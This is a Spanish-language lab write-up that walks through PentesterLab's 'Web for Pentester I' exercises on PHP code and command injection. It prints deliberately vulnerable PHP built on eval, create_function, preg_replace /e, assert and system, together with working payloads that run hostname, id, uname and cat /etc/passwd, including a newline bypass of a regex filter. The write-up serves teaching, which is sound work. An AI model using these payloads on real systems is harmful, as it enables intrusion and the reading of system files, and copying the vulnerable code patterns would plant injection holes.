[Pentesterlab write-up] Web For Pentester I - Code & Commands Injection

Damos un pasito más, ya casi terminando el lab “Web for pentester I” de Pentesterlab, esta vez realizando los ejercicios correspondientes a las vulnerabilidades de inyección de código e inyección de comandos.


Cuando hablamos de inyección de comandos el objetivo es la ejecución de comandos (valga la redundancia) en el sistema operativo del host a través de la aplicación vulnerable, la cual se realiza con los privilegios del usuario de la aplicación. En el caso de inyección de código el atacante puede agregar su propio código que luego es ejecutado por la aplicación. Digamos que en “Code Injection” el atacante amplía la funcionalidad por defecto de la aplicación sin necesidad de ejecutar comandos del sistema, aunque también puede hacerlo utilizando las funciones correspondientes del lenguaje de programación utilizado (por ej. system en php).

Ambas pueden explotarse cuando una aplicación no filtra (o lo hace de forma incorrecta) los datos introducidos por el usuario (formularios, cookies, cabeceras HTTP, etc.).

CODE INJECTION

Ejercicio 1:

En el primer ejemplo vemos que el desarrollador ha usado la función eval para ejecutar lo que pasas como parámetro como una línea de código php y... bueno muchos dicen que "eval is evil" y al no filtrar la entrada antes podemos simplemente concatenar otro comando con un simple punto (".") y usar # para comentar el resto del código:

SERVIDOR
<?php
$str="echo \"Hello ".$_GET['name']."!!!\";";

eval($str);
?>

PAYLOAD
http://pentesterlab/codeexec/example1.php?name=hacker%22.system(%27hostname%27)%3B%23

Decoded: hacker".system('hostname');#


Ejercicio 2:

El siguiente código php muestra los usuarios de la tabla users ordenado por el campo que especifiquemos:

SERVIDOR:
...
require_once('../sqli/db.php');
$sql = "SELECT * FROM users ";

$order = $_GET["order"];
$result = mysql_query($sql);
if ($result) {
while ($row = mysql_fetch_assoc($result)) {
$users[] = new User($row['id'],$row['name'],$row['age']);
}
if (isset($order)) {
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
}
}

....


La función usort se utiliza mucho con la función create_function para generar dinámicamente la función para ordenar la salida basádose en información controlada por el usuario. Pero si no se realiza un filtrado puede derivar en la ejecución de código como vemos a continuación:

PAYLOAD:
http://pentesterlab/codeexec/example2.php?order=id)%3B}system(%27cat%20/etc/passwd%27)%3B%23

Decoded: id);}system('cat /etc/passwd');#


Ejercicio 3:

El siguiente código utiliza preg_replace para sustituir caracteres y cadenas en una cadena de texto tras una búsqueda realizada mediante expresiones regulares. Por ejemplo:

http://pentesterlab/codeexec/example3.php?pattern=/[0-9]/&new=cambiado&base=1


SERVIDOR
<?php
echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
?>

El tema (como casi siempre) es que si no filtramos el parámetro del patrón podremos igualmente inyectar código:

PAYLOAD
http://pentesterlab/codeexec/example3.php?&pattern=/[0-9]/e&amp;new=system(%27uname%20-a%27)&base=1


Ejercicio 4:

Y el último ejercicio de esta serie se basa en la función assert que evalúa el parámetro recibido (assertion) y toma la acción apropiada si su resultado es FALSE.

SERVIDOR
assert(trim("'".$_GET['name']."'"));
echo "Hello ".htmlentities($_GET['name']);

Igualmente podemos pasarle un payload malicioso y conseguir ejecución remota:

PAYLOAD
http://pentesterlab/codeexec/example4.php?name=hacker'.system('uname -a').'


COMMAND INJECTION

Ejercicio 1:

En el primer ejercicio no hay ninguna validación así que podemos inyectar cualquier comando en el parámetro ip:

SERVIDOR
<?php require_once("../header.php"); ?>
<pre>
<?php
system("ping -c 2 ".$_GET['ip']);
?>
</pre>
<?php require_once("../footer.php"); ?>

PAYLOAD
http://pentesterlab/commandexec/example1.php?ip=127.0.0.1 && id
http://pentesterlab/commandexec/example1.php?ip=127.0.0.1; id
http://pentesterlab/commandexec/example1.php?ip=127.0.0.1| id

Ejercicio 2:

En el segundo ejercicio, esta vez y como podeis ver en el código, si hay validación, aunque es incorrecta.

SERVIDOR
<?php require_once("../header.php"); ?>
<pre>
<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);
?>
</pre>
<?php require_once("../footer.php"); ?>

El problema es que la expresión regular es multilínea así que sólo tenemos que usar un salto de línea encodeado y ya volvemos a poder ejecutar comandos:

PAYLOAD
http://pentesterlab/commandexec/example2.php?ip=127.0.0.1%0Acat%20/etc/passwd


Ejercicio 3:

En esta ocasión, la función preg_match está bien implementada pero el script no se detiene al encontrar una expresión maliciosa, simplemente hace una redirección con header y continua:

SERVIDOR
<?php require_once("../header.php"); ?>
<pre>
<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/', $_GET['ip']))) {
header("Location: example3.php?ip=127.0.0.1");
}
system("ping -c 2 ".$_GET['ip']);
?>
</pre>
<?php require_once("../footer.php"); ?>

Así que podemos volver a concatenar nuestro comando y usar un proxy como Burpsuite o nc/telnet para ver la salida del mismo:

PAYLOAD
% telnet pentesterlab 80
GET /commandexec/example3.php?ip=127.0.0.1|uname+-a HTTP/1.0


Y con esto terminamos la serie de vulnerabilidades de inyección de código y de comandos. ¡Nos vemos en el siguiente y último post del writeup!

 [Pentesterlab write-ups by Hackplayers] Web For Pentester I:

XSS
SQL Injections
Path traversal, LFI & RFI
Code & Commands Injection
File upload. LDAP & XML attacks

Comentarios

  1. Muy buenas pruebas de conceptos para entender la forma de explotar vulnerabilidades comunes.

    Saludos!

    ResponderEliminar

Publicar un comentario